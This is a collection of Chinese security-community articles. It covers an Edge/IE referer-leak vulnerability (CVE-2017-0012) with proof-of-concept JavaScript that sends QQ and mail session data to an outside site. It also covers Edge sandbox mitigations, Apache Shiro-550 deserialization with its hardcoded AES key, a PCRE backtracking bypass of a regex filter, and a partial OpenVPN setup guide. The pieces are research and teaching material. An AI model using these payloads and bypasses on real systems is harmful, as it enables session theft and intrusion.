0，也就是upgrader确实变成了我们部署的合约的地址，而slot 1，也就是horsePower的值，确实变成了1000
然后执行`step2exp`，执行后查看`Engine`合约对应的地址，可以看到这里提示已经self destruct，攻击完成，提交即可。
完结撒花！ | 社区文章 |
# 【漏洞分析】CVE-2017-0012：Microsoft Edge / IE 浏览器欺骗漏洞（昨日补丁）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[xsseng](http://bobao.360.cn/member/contribute?uid=1377236980)
预估稿费：400RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
2017年3月14日，也就是两天前，微软补丁日修复了Microsoft Edge
中的多个漏洞。当用户访问攻击者精心构造的网页，最严重的漏洞可能允许远程代码执行。成功利用这些漏洞的攻击者可以控制受影响的系统。其中本篇文章为漏洞发现者对CVE-2017-0012
Microsoft 浏览器欺骗漏洞进行分析。
微软官方公告：[https://technet.microsoft.com/zh-cn/library/security/MS17-007](https://technet.microsoft.com/zh-cn/library/security/MS17-007)
****
**影响版本**
Microsoft Edge
Internet Explorer 11
**漏洞分析**
parent.window.opener.location可以使打开他的窗口location跳转到其他的域名，在尝试使用跨域的时候，我首先发现了这个问题，以下是我发现问题时候的测试代码。
parent.window.opener.location = 'http://www.qq.com';
我通过360SRC的友情链接打开了360的appscan.360.cn，尝试在appscan网页的控制台输入这一段JS，可以看到JS注入后，360SRC的网页变成了腾讯首页。
而就在此时我发现appscan的控制台居然报错了，并且内容属于腾讯首页的资源报错。
如图，我们发现本来不属于appscan站点的错误，显示在了appscan的控制台，随后我在Chrome、Firefox、IE8中测试发现均不存在该问题。于是第一时间就想到了跨域，会不会存在跨域问题呢？所以很快写了一段JS尝试，希望能达到跨域执行js。
function func(){
parent.window.opener.location = 'http://www.qq.com';
}
if (parent.window.opener) {
parent.window.opener.location = 'javascript:alert("xsseng")';setTimeout(func,"3000");
};
浏览器阻止了我的操作，本来问题到这里就应该结束，但是后来发现了其他的问题，当我执行以下代码的时候，我们可以看到如下的HTTP请求中的REFERER。
我们通过appscan站点执行js，referer头却是security站点，这一点是违反了W3C的标准（所有浏览器在这里的处理方式都是appscan站点），为了探究问题是否只是存在于同一个子域下，我把测试站点换到了两个完全不同的域。
**利用场景**
我写了一段代码，来要求i.qq.com请求我的测试站点，以获得QQ空间的来源,其中的ref.php直接输出$_SERVER["HTTP_REFERER"]。
function func(){
parent.window.opener.location = 'http://www.inetsrc.com/ref.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'http://i.qq.com';setTimeout(func,"3000");
};
会发现在测试站点中，不仅可以得到i.qq.com的请求，如果我们登陆QQ空间，那么i.qq.com会跳转到user.qzone.qq.com并且泄露了你的QQ号。那么问题不仅仅会造成更多的CSRF漏洞，如果用户登陆了邮箱，可以通过控制好setTimeout来获取可以导致用户信息泄露的参数，为此我搭建了https一个测试站点用来测试某邮箱系统，尝试读取SID。
function func(){
parent.window.opener.location = 'https://www.esqsm.com/index.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'https://mail.qq.com';setTimeout(func,"3000");
};
由于QQ邮箱配置了SSL，所以接收来源的站点也需要配置SSL。这里由于登陆了QQ邮箱，访问mail.qq.com的时候会跳转到邮箱的首页，导致location的更换，referer就泄露了用户信息。
**参考资料**
<https://www.symantec.com/connect/blogs/2017-3>
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0012>
<http://www.securityfocus.com/bid/96085/info> | 社区文章 |
# Edge Sandbox绕过后续及Windows 10 TH2新安全特性
|
##### 译文声明
本文是翻译文章，文章来源：mj0011@360安全播报
原文地址：<http://blogs.360.cn/blog/poc_edgesandboxbypass_win10th2_new_security_features/>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[mj0011](http://blogs.360.cn/blog/author/mj0011/ "View all posts by
mj0011")
在11月6日的韩国PoC(Power of Community)安全会议上,笔者介绍了一些Windows 10
RTM中的一些新安全特性,以及他们在过去的TP版本中发生的安全问题,同时,笔者还重点介绍了一个Windows 10
Edge沙箱的逃逸漏洞,以及如何将其(结合一个RCE漏洞)组装成彻底攻破Edge浏览器的方法和演示,包括笔者同微软长达半年沟通最终促成他们决定修复漏洞的过程。
因为这个漏洞目前仍然是未修复的0day状态,在微软的要求下,
在PoC的演讲中笔者对关键部分做了一些mask,议题Slides也并未公开,因此这里也不会过多讨论这个漏洞。
笔者拿到Windows 10 TH2版本后,周末找了点时间在TH2上测试了下这个漏洞,发现这个版本上微软通过两个方式对这个漏洞做了一些缓和:
1\. 将漏洞需要利用的broker接口更换了另一个, 这个很容易绕过,更换接口的CLSID和IID就可以继续调用了
2\.
该漏洞利用需要结合针对某些站点的URL跳转漏洞,微软将笔者提交的Exploit中利用的某个特定站点从可用站点列表中删除了,当然,发现一个新的也很容易。
**(这里要感谢@黄源小童鞋)**
在解决这两个问题后, 笔者发现新的Exploit仍然无法工作。 笔者调试了一下发现,Edge和Windows 10
TH2里新增了一些安全特性,当然Windows 10 TH2中还开始加入了对Intel SGX技术(Enclave)的支持,也增强了SILO等,
但本文关注在这几个影响笔者的Exploit工作的新特性。
****
**Edge & Windows 10 TH2 新安全特性**
经过调试发现, Edge的render进程(MicrosoftEdgeCP.exe)在加载Exploit
DLL时就失败了,追溯到kernel32!LoadLibraryA,发现它直接就返回了ERROR_INVALID_IMAGE_HASH,在进一步跟踪LdrLoadDll/NtCreateSection直到内核,发现Windows
10 TH2中新增了针对三项DLL加载的安全特性:
1\. 针对特定进程,禁止加载未签名的DLL(SignatureMitigationOptIn)
2\. 针对特定进程, 禁止加载远程DLL(ProhibitRemoteImageMap)
3\. 针对特定进程, 禁止加载文件的完整性级别为Low的镜像文件(ProhibitLowILImageMap)
这三项功能都包括在Mitigation Policy中, 这是从Windows 8开始微软存放进程和全局缓和状态的方式,可以通过公开的API
SetProcessMitigationPolicy/GetProcessMitigationPolicy(实际是NtQuery/SetInformationProcess->ProcessMitigationPolicy)来查询和设置进程的状态,
Google Chrome也使用了这两个API来增强安全性。Mitigation
Policy同时还可以通过IEFO、父进程继承和创建进程时设置StartupInfoEx中的Attributes List来进行设置。
微软目前公开的对于G(S)etProcessMitigationPolicy的文档仅截至到Windows
8为止(<https://msdn.microsoft.com/en-us/library/windows/desktop/hh769085(v=vs.85).aspx>) , 对于Windows 8.1、Windows 10
RTM和TH2中中新增的缓和策略选项并没有文档化, 这里,笔者给出在Windows 10 TH2上最新的所有Mitigation Policy及其数据结构:
typedef enum _PROCESS_MITIGATION_POLICY
{
ProcessDEPPolicy,
ProcessASLRPolicy,
ProcessDynamicCodePolicy,
ProcessStrictHandleCheckPolicy,
ProcessSystemCallDisablePolicy,
ProcessMitigationOptionsMask,
ProcessExtensionPointDisablePolicy,
ProcessControlFlowGuardPolicy,
ProcessSignaturePolicy,
ProcessFontDisablePolicy,
ProcessImageLoadPolicy,
MaxProcessMitigationPolicy
} PROCESS_MITIGATION_POLICY, *PPROCESS_MITIGATION_POLICY;
针对ProcessControlFlowGuardPolicy:
typedef struct _PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY {
union {
DWORD Flags;
struct {
DWORD EnableControlFlowGuard : 1;
DWORD ReservedFlags : 31;
};
};
} PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY, *PPROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY;
针对ProcessSignaturePolicy:
typedef struct _PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
{
union {
DWORD Flags;
struct {
DWORD MicrosoftSignedOnly : 1;
DWORD StoreSignedOnly : 1;
DWORD MitigationOptIn : 1;
DWORD ReservedFlags : 29;
};
};
} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY, *PPROCESS_MITIGATION_BINARY_SIGNATURE_POLICY;
针对ProcessFontDisablePolicy( 在笔者去年关于Windows 10 TP 9926安全性中有提到)
typedef struct _PROCESS_MITIGATION_FONT_DISABLE_POLICY {
union {
DWORD Flags;
struct {
DWORD DisableNonSystemFonts : 1;
DWORD AuditNonSystemFontLoading : 1;
DWORD ReservedFlags : 30;
};
};
} PROCESS_MITIGATION_FONT_DISABLE_POLICY, *PPROCESS_MITIGATION_FONT_DISABLE_POLICY;
针对ProcessImageLoadPolicy:
typedef struct _PROCESS_MITIGATION_IMAGE_LOAD_POLICY
{
union {
DWORD Flags;
struct {
DWORD NoRemoteImages : 1;
DWORD NoLowMandatoryLabelImages : 1;
DWORD ReservedFlags : 30;
};
};
}PROCESS_MITIGATION_IMAGE_LOAD_POLICY, *PPROCESS_MITIGATION_IMAGE_LOAD_POLICY;
这里提到的三项安全特性,就分别来自ProcessSignaturePolicy的MitigationOptIn和本次TH2新增的ProcessImageLoadPolicy的NoRemoteImages
& NoLowMandatoryLabelImages。
这三个选项都是一旦设置(无论通过IEFO还是继承或创建进程选项指定),就无法再次关闭的,由于策略都在内核中实现,因此即使获得代码执行权限,也无法关闭这三个功能。
对于MitigationOptIn:
该选项实际操作了进程的EPROCESS->Flags3.SignatureMitigationOptIn 标志。
在加载DLL或EXE镜像时,内核调用NtCreateSection试图创建镜像的Section,此时调用MiCreateSection/MiCreateNewSection,接着会调用SeGetImageRequiredSigningLevel,该函数试图获得当前创建镜像所需要的Signing
Level(关于Signing Level , Alex Ionescu在之前介绍Win8.1的文章Protected Processes Part 3 :
Windows PKI Internals (Signing Levels, Scenarios, Root Keys, EKUs & Runtime
Signers)中有详细介绍,http://www.alex-ionescu.com/?p=146).
在此函数中,会判断EPROCESS->Flags3.SignatureMitigationOptIn若为TRUE ,
则强制要求6(Store)级别以上的Signing
Level,即要求镜像存在签名,接着MiCreate(New)Section会使用MiValidateSectionCreate(最终调用CI.DLL中签名验证算法)
来验证镜像的签名 ,如果不符合,则会返回错误,拒绝镜像的Section创建,导致DLL加载失败。
也就是说,设置了SignatureMitigationOptIn的Edge浏览器,加载任意未签名的模块,在创建Section时就会失败。
同时,为了防止某些频繁注入的DLL(例如全局钩子)消耗大量内核资源进行签名验算,
Edge浏览器的Shim引擎Eshims.dll挂钩了kernel32!LoadLibraryA等函数, 会缓存已经验证未无效签名的DLL信息,
当再次遇到加载这类DLL时,直接返回ERROR_INVALID_IMAGE_HASH,拒绝加载。
****
**对于ProhibitRemoteImageMap和ProhibitLowILImageMap**
针对这两个的验证存在于镜像的Section映射(而不是创建)的过程中,在MiMapViewOfImageSection函数中,
新增了针对MiAllowImageMap函数的调用,该函数检查:
1.如果进程设置了ProhibitRemoteImageMap(即ProcessLoadImagePolicy.NoRemoteImages)
,则检查Section
Object->RemoteImageFileObject或RemoteDataFileObject是否为TRUE(该域标志了镜像是否从远程加载),针对从远程加载的section,拒绝映射
2.如果进程设置了ProhibitLowILImageMap(即ProcessLoadImagePolicy.NoLowMandatoryLabelImages),则获取对应文件并检查其安全属性的完整性级别是否Low或更低(一般由创建文件的进线程完整性级别决定),如果是由低完整性级别文件创建的Section,就拒绝加载。
目前Edge
render进程打开了NoRemoteImages,并未打开NoLowMandatoryLabelImages,而后者其实也可以用于针对一些非沙箱进程设置,阻止他们被攻击导致加载沙箱内进程的DLL。
了解了这三个安全特性,其实可以想到它们只是针对旧的Exploit提升了门槛,只要获得了代码执行能力,针对地只要使用一些特殊方式,或者干脆自己完成DLL映射过程(通过内存分配),还是可以正常加载想要的payload代码,完成攻击。最后,加上前面两个改动和针对这个机制的绕过,笔者针对Edge
Sandbox的绕过依然可以在Windows 10 TH2上完整实现攻破Edge浏览器。
但这三个安全特性确实对旧Exploit或者某些特定类型的漏洞攻击提升了门槛甚至可能完全防御,也是本次Windows 10
TH2中值得一看的新安全特性。根据Google安全研究人员的说法,在后续的Chrome版本上,我们也有望看到对这些特性的开启,增强Chrome的安全性。 | 社区文章 |
# 前尘——权限控制下暗藏的杀机
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在Java开发中,如果涉及权限如管理员普通用户操作，则需要在接口调用前对用户的身份进行鉴权。对于权限固定且后期无需变动的情况可在程序中硬编码但是代码的设计规范可扩展性、抽离性等往往与其背道而驰不建议使用，所以权限的判定的代码应该在数据库动态查询。在这样的背景下，Java产生了两款权限判定框架，对接口鉴权、session管理、登录、数据库动态权限查询进行了封装，大大减少了开发人员的工作量。这两款框架就是：
1、SpringSecurity
2、Shiro
而Shiro以其上手难度低，轻量级框架对程序侵入性小而闻名。大大用于主流的Java开发应用，但是这样一款框架却被安全人员在HW中使用的得心应手，今天将从原理性的角度剖析其550漏洞产生的原因.
感谢
<https://blog.csdn.net/hackzkaq/article/details/114278891>
<https://blog.csdn.net/three_feng/article/details/52189559>
文章的帮助，才得以让我将Java反序列化漏洞原理剖析系列文章的延续。
## 序列化与反序列化
既然是反序列化漏洞必然要提起的就是序列化与反序列化，如果还有读者对这个概念不清楚请参考文章[《前尘——与君再忆CC链》](https://www.anquanke.com/post/id/238480),在Java反序列化漏洞中，序列化和反序列化是理解这些漏洞的基本条件。
## 搭建环境
下载地址：<https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4>
上文作者已经搭建好shiro的集成环境，在Maven中处理下载依赖问题即可。
## 漏洞跟踪
**分析源码，根据利用漏洞可知漏洞点在于Cookie上的问题。找到Shiro管理Cookie的位置**
**此为Shiro-core包的类包，但是据了解可知产生问题的类为org.apache.shiro.web.mgt.CookieRememberMeManager路径，但是在包下没找到web包索性直接搜索功能**
**按住IDEA CTRL+SHIFT+R 键打开搜索页面 搜索类CookieRememberMeManager**
**getRememberedSerializedIdentity()方法处理cookie的方法，跟进此方法
1.将Request和Response对象传入从而获取Request对象中的cookie
2.将获取到的Base64加密的cookie调用Base64解密方法进行解密**
**随后进入getRememberedPrincipals方法**
**跟随convertBytesToPrincipals方法内部**
**进入decrypt方法**
**查看167行代码解密时会将this.getDecryptionCipherKey()作为密钥传入进行解密**
**最终跟进方法发现密钥是一个byte数组decryptionCipherKey，继续跟进**
**在构造方法内调用方法进行赋值，传参内容为上文base64的字符串。**
**赋值加密方法，赋值解密方法**
**进入解密方法赋值，发现其实base64那段写死的值其实赋值给了上文提到的byte数组decryptionCipherKey。**
## 逻辑整理
`得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化`
**1.getRememberedSerializedIdentity()方法内部获取cookie的值
2.getRememberedSerializedIdentity()方法内部Base64解密**
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
**3.convertBytesToPrincipals()方法调用其aes解密方法跟进发现密钥为byte数组decryptionCipherKey，查看AbstractRememberMeManager的构造方法发现在实例化对象时硬编码的DEFAULT_CIPHER_KEY_BYTES其实分别给加密解密的byte数组进行了赋值**
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
**4.回到主线解密后发现调用了反序列化的方法**
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}
return this.deserialize(bytes);
}
5. **反序列话的参数可控，并且在aes密钥已知的情况下使用前文提到的[《前尘——与君再忆CC链》](https://www.anquanke.com/post/id/238480)或者是其他链进行攻击即可
再说说攻击的顺序**
`恶意命令-->序列化-->AES加密-->base64编码-->发送cookie`
## 讨论
这是我讲的第三篇关于反序列化的文章，相信仔细阅读前面的文章到这里都会跟我有一个相同的体会。这个体会就是，所谓的反序列化漏洞并不是反序列化存在的问题，反序列化是一个入口点。好比粮仓着火这个问题，粮仓符合所有的着火因素，着火只是天气干燥恰恰引起的。
## 总结
这篇文章更完可能会断更一段时间，整理下目标再次出发。
**比起找不到方向，停下来 便是一种前进。**
Java反序列化一直是一个 老生常谈的问题,理解这些原理性的知识可以更好的帮助我们找到执行链,你我终有一天也会发现理解事物的本质是如此重要。 | 社区文章 |
# 详解PCRE正则匹配的引擎、回溯、贪婪问题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
本篇文章字数较多，并且有大量篇幅讲解正则匹配的过程，如果有疏忽（字母标错），请多多海涵~
本文重点研究PCRE的正则匹配，并且使用PHP代码进行相关阐述。
## 正则匹配的两种引擎：
对于人来说，想要比较一个字符串是否满足某一个条件，通常是对字符串和条件反复比较，这其中并没有一定的规则，通常随着人的心情波动。而对于正则匹配，其存在的意义同样也是比较一个字符串是否满足某一个条件，但是对于机器语言来说，必须满足一定的规则，不能模棱两可。
因此在比较字符串是否满足某一条件时，就存在两种比较方法： **NFA** （确定型有穷自动机）、 **DFA** （不确定型有穷自动机）。说白了就是：
**以正则表达式主导** 还是 **以字符串主导**
### NFA
首先对于PHP语言来说，正则匹配往往采用的是 **PCRE** 的模式，而 **PCRE** 采用的正是 **NFA** 的引擎。对于 **NFA**
来说，通俗的讲就是 **以正则表达式主导** 。接下来就给出一个正则表达式以及一个待匹配字符串进行阐述。
text ＝ 'after tonight'
regex ＝ 'to(nite|nighta|night)'
对于NFA来说，以正则表达式主导，也就是拿着正则表达式去比较待匹配字符串。匹配的过程如下：
* 最开始，正则拿出`t`字符与待匹配字符串中的`a`进行匹配，匹配失败
* 然后同理匹配`f`也失败，直到匹配到`f`后面的`t`字符
* 这个时候正则会拿出第二个字符`o`进行匹配，然而`o`与`e`字符不一样，匹配失败，这个时候正则表达式 **回溯** 到第一个字符`t`
* 因为上方匹配失败，接下去匹配下一个`t`字符，直到匹配到空格后面的`t`字符
* 同理，这个时候正则拿出第二个字符`o`进行匹配，发现与上一步匹配到的`o`字符一样，匹配成功
* 接着匹配后面三个待匹配字符，依次类推
通过这一个示例，我们大概可以从中理解 **NFA引擎** 是怎么个运作方式了。
接下来我们研究DFA匹配引擎。
### DFA
对于 **DFA引擎** 来说，就是 **以字符串主导** 的匹配模式，接下来还是用上方的这一个例子来描述 **DFA引擎** 的匹配过程是怎么样的。
text ＝ 'after tonight'
regex ＝ 'to(nite|nighta|night)'
同样的还是这一个例子，对于 **DFA引擎** ，匹配过程如下：
* 最开始，待匹配字符串拿出第一个字符`a`来与正则的第一个字符`t`匹配，匹配失败
* 匹配失败后，待匹配字符串拿出第二个字符`f`与正则的第一个字符`t`匹配，匹配失败
* 匹配失败后，待匹配字符串拿出第三个字符`t`与正则的第一个字符`t`匹配，匹配成功
* 此时待匹配字符串拿出第四个字符`e`与正则的第二个字符`o`进行匹配，匹配失败，正则 **回溯** 到`t`
* 同理，直到待匹配字符串拿出空格后面的`t`字符匹配时，才匹配成功
* 同理`o`也匹配成功
* 匹配成功后待匹配字符串就会拿出`n`与正则中的三项可选匹配进行并行匹配
* 以此类推
同样通过这一个示例，也大致能了解 **DFA引擎** 的运作方式。
接下来分析 **NFA** 与 **DFA** 这两者的异同。
### 异同
#### 异
很明显， **NFA引擎** 是 **以正则表达式主导** ， **DFA引擎** 是 **以字符串主导**
，这其实就是这两者最大的不同点。对于初学正则表达式的人来说（我也是），往往不会在乎他们的引擎到底是什么，差距在哪，通常都会用人最通常的思维去衡量正则表达式，也就是说能匹配到就好了，能满足业务逻辑即可，但是对于程序来说，必须要给它指明一个方向，到底以什么参数主导，必须选一个，不能不选，也不能都选。（上升到哲学问题了。
除此之外，还有一个不同点就是：NFA引擎对于待匹配字符串中的某个字符可能会产生多次匹配，而DFA引擎对于待匹配字符串只会遍历一次。因此DFA的匹配与正则表达式无关，而NFA的匹配与正则表达式有关。
**同**
相比找不同，往往人们并不会关注相同点，而这片文章后续要研究的正则匹配回溯问题，其实这个问题就出现在人们会忽略的正则表达式 **回溯** 问题上。
可以看到，无论是哪一种引擎，对于正则表达式而言，都会产生 **回溯**
，而在数据结构中，产生回溯其实是一件很危险的事，因为如果产生的回溯过多，就会造成栈溢出，爆栈等等，造成业务系统卡顿。因此接下来的篇幅就会着重探讨
**回溯** 的问题。
## 回溯：
虽然前面的示例中已经出现了回溯问题，但是不够明显，不够直观。因此这里再用一个示例来看一下回溯的过程。
假设我们这个时候有一个正则表达式如下：
ab{1,3}c
很明显，上方的正则表达式是需要匹配`abc`，其中`b`可以出现`1-3`次
### 情况1
当我们的待匹配字符串为`abbbc`时，很正常，全程一次就匹配成功，没有产生回溯。
### 情况2
当我们的待匹配字符串为`abc`时，我们来看看这一个匹配过程是怎样的：
| 正则表达式 | 待匹配字符串 | 备注
---|---|---|---
1 | a | a |
2 | ab | ab |
3 | ab{1,3}b | abc | 匹配不成功，回溯
4 | ab{1,3} | ab |
5 | ab{1,3}c | abc
可以看到，在第三步的时候出现了回溯。
但是这个时候，就会有个问题，既然第2步已经匹配到了一个`b`，为啥这个正则表达式这么贪心，匹配一个就够了呀，直接匹配`c`不就好了，还想着去匹配第2个`b`，不匹配第2个`b`不就不回溯了嘛。
这个问题就涉及到正则表达式匹配的 **贪婪模式** 以及 **非贪婪模式**
## 贪婪模式与非贪婪模式：
对于PCRE，其中有4个比较常用的元字符：
* `*`匹配前面的子表达式零次或多次
* `+` 匹配前面的子表达式一次或多次
* `?`匹配前面的子表达式零次或一次
* `{n,m}`匹配前面的子表达式n-m次，`{n,}`匹配前面的子表达式至少n次，`{n}`匹配前面的子表达式`n`次
### 贪婪模式
对于待匹配字符串`abbbc`，有如下正则表达式：
/ab{2,3}+bc/
整一个匹配过程如下：
| 正则表达式 | 待匹配字符串 | 备注
---|---|---|---
1 | a | a |
2 | ab{2,3}+ | ab |
3 | ab{2,3}+ | abb | 贪婪模式继续匹配
4 | ab{2,3}+ | abbb | 贪婪模式继续匹配
5 | ab{2,3}+b | abbbc | 正则需要b，但是待匹配字符串没有b，匹配结束
可以看到，整一个过程中因为是贪婪模式，所以正则表达式第1个`b`就已经把待匹配字符串中的3个`b`吞掉了，而正则表达式第2个`b`就没得匹配了，所以在这个匹配过程中，匹配不到任何字符。
### 非贪婪模式
同样的还是一样的字符串`abbbc`，但是不一样的正则表达式。
/ab{2,3}?bc/
| 正则表达式 | 待匹配字符串 | 备注
---|---|---|---
1 | a | a |
2 | ab{2,3}? | ab |
3 | ab{2,3}? | abb | 匹配了两个b，非贪婪，见好就收，下面不匹配
4 | ab{2,3}?b | abbb | 成功匹配b
5 | ab{2,3}?bc | abbbc | 成功匹配整个字符串
在非贪婪模式下，成功匹配整个字符串，在正则表达式测试网站上结果如下：
## 贪婪、回溯问题引发的漏洞：
上面的篇幅主要探讨了两个方面的东西： **贪婪** 、 **回溯** 。试想一下，如果将这两者结合在一起是否会产生漏洞。
首先，在PHP中，对正则表达式回溯问题有做防备，在php.ini中有下方两个设置：
pcre.backtrack_limit //最大回溯数
pcre.recursion_limit //最大嵌套数
其中默认情况下，`pcre.backtrack_limit`的值为100000，那如果我们超过这个值的时候，正则函数会返回什么呢？
### 问题
假设我们有以下代码：
<?php
$a = $_POST["a"];
if(preg_match('/.+?Lxxx/i', $a)){
die('no!');
}
if(stripos($a,"ttLxxx")===FALSE){
die("no!!");
}
echo "Yes!";
上方代码正则不允许`Lxxx`前面有字母，但是又需要字符串中包含`ttLxxx`。
在这一段代码，如何才能让程序输出Yes？
### 分析
既然正则不允许，并且正则前面是`.+?`的非贪婪匹配，所以我们可以添加足够多的字母造成回溯。
假设我们传入`ttLxxx`，由于是非贪婪匹配，`.+?`匹配到字符`t`的时候，并不会很贪心地把字符`t`拿走，而会留给后面的字符`L`，但是`t`没办法匹配`L`，导致一次回溯，同理，第2个`t`也会造成回溯，由此可见，只要我们拥有足够多的`t`，就会造成足够多次的回溯。当回溯达到我们php.ini中的设置时，正则就会返回false
所以我们生成足够多的字符POST传给`a`
<?php
$a = str_repeat("tian",250000);
$a .= "ttLxxx";
echo $a;
将生成的字符传给a，程序就输出Yes。 | 社区文章 |
这故事得从公司，渗透组因为临时加的小项目，需要搭个渗透综合类的环境，最初就有了这个方案，朋友问怎么整？跨度有点太大了，只因以前吹牛逼，大学学网络，干运维环境啥都会搭建.....。
谷歌还能找到很多OpenVPN的环境部署，国内大多被和谐了。过程中踩了一些坑，分享给圈子，也可以自己搭环境玩一些有意思的东西。
**GitHub目前找到最齐全的参考资料：<https://github.com/izombielandgit/OpenVPN-HOWTO/blob/master/1.%20HOWTO.md>**
**环境如下:**
OpenVPNServer: Ubuntu18 Desktop（公网）假设ip：40.40.40.40
需要装个VirtualBox创建一个虚拟网卡(仅主机模式)：ip : 192.168.131.10 gw 192.168.131.1
OpenVPNClient：xxx.xxx.xxx.xxx 注意：不建议在Windows上搭建OpenServer，涉及一些数据包机制转发的会有些麻烦。
为了方便理解这种模式，梳理一副图片，如下所示：
这是部署前梳理流程图，如上图所示，底层是一个Ubuntu or
Windows，客户端利用OpenVPN访问公网，Ubuntu内部开启虚拟容器，开启虚拟机而且仅主机模式。用户想要通过客户端OpenVPN连接内网的虚拟机，可以利用Vagrant部署自动化管理容器，Vagrant介绍不太多这里，因为部署很简单，自动化脚本写点Python就好了。
**Windows10 OpenVPN部署：**
1.下载OpenVpn
2.配置VPNServer网卡适配器
3.Cd Easy-rsa
4.init-config.bat
5.Edit Vars.bat
KEY-COUNTRY = UA
KEY-PROVINCE = Kiev
KEY-CITY = Kiev
KEY- ORG = ServerVPN
6.Cd “c:\Pro OpenVPNPath\easy-rsa”
7.Vars
8.clean-all
9.Build-dh 执行后出现dh4096.pem
10.配置环境变量，OpenVPN
11.Build-ca CreateCA
12.Build-Key-ServerVPN
13.Build-key ClientVPN
14.Openvpn --genkey -- secret keys/ta.key
15.Cp Server.ovpn --> /$path/OpenVPN/config/Server.ovpn
16.Edit Server.ovpn
17.Edit Client
**Ubuntu18 OpenVPN部署：**
wget -P ~/ https://github.com/OpenVPN/easy-r
mkdir OpenVPNeasy
cd OpenVPNeasy/
wget https://github.com/OpenVPN/easy-rsa
vim easy-rsa // 这个需要修改一些配置，详细参考上述github
tar xvf EasyRSA-unix-v3.0.6.tgz
cd EasyRSA-v3.0.6/
openvpn --genkey --secret ta.key
cp ./ta.key /etc/openvpn/
cp ./pki/ca.crt /etc/openvpn/
cp ./pki/dh.pem /etc/openvpn/
cp /usr/share/doc/openvpn/examples/sample-c
cd /etc/openvpn/
cd server/
gzip -d server.conf.gz 会生成配置文件server.conf
**更详细的配置请参考Github，确实写的很好！需要把ca.crt，ta.key，粘贴到客户端，因为必须要验证，这里并没有赋值客户端的密钥或者认证，因为账号密码登陆认证，下面对配置文件重要内容贴上，里面有注释：**
**OpenVPNServerConfig：**
dev-node "vpn-ada" 这里是网卡
mode server
port 12345 绑定端口
proto tcp4-server 使用协议
dev tun
tls-server
tls-auth "C:\\Program Files\\OpenVPN\\easy-rsa\\keys\\ta.key" 0
tun-mtu 1500
tun-mtu-extra 32
mssfix 1450
上述生成的密钥
ca "C:\\Program Files\\OpenVPN\\easy-rsa\\keys\\ca.crt"
cert "C:\\Program Files\\OpenVPN\\easy-rsa\\keys\\vpn.crt"
key "C:\\Program Files\\OpenVPN\\easy-rsa\\keys\\vpn.key"
dh "C:\\Program Files\\OpenVPN\\easy-rsa\\keys\\dh2048.pem"
# 可分配多个网段，这是一个大网段，然后可以给指定用户分配固定ip，注意是掩码32Bit的
server 10.10.0.0 255.255.255.0
# 也可以多个server 10.11.0.01 xxxxxxx
# 给客户端配置特殊的ip需求，这个目录自己创建，目录里面的文件就是账户名，比如有一个账户test，那么想给他分配10.10.1.1，就需要在下面创建一个test文件，并且输入ifconfig-push 10.10.1.1 10.10.1.2
client-config-dir ccd
#允许客户端子网互通，这个很重重要，子网内通讯
client-to-client
# 心跳检测
keepalive 10 120
cipher AES-128-CBC
comp-lzo
verify-client-cert require
# 允许密码认证脚本 verify optional ，checkpsw.exe是windwos下OpenVPNServer需要用到的 c写的密码验证程序，高版本OpenVPN要求用脚本可执行的方式认证密钥的正确与错误，正确返回0，错误返回1
# 同样还需要创建密码文件pwd-fle ，格式 test !@#$%asdasd 账户 密码
auth-user-pass-verify checkpsw.exe via-env
script-security 3
# 允许密码认证
username-as-common-name
client-cert-not-required
status openvpn-status.log
log-append openvpn.log
persist-key
persist-tun
verb 3
route-delay 5
route-method exe
# 服务器增加到xxxxx/24的路由
route 10.10.1.0 255.255.255.0
route 10.10.2.0 255.255.255.0
# 让所有客户端都增加xxxxxx的路由
push "route 10.10.0.0 255.255.255.0"
push "route 192.168.131.0 255.255.255.0"
**两个平台的检测脚本：checkpwd.exe or checkpwd.sh:**
Windows:
#include
#include
#include
#define MAX 1024
int checkpsw(char *username, char *password)
{
FILE *f;
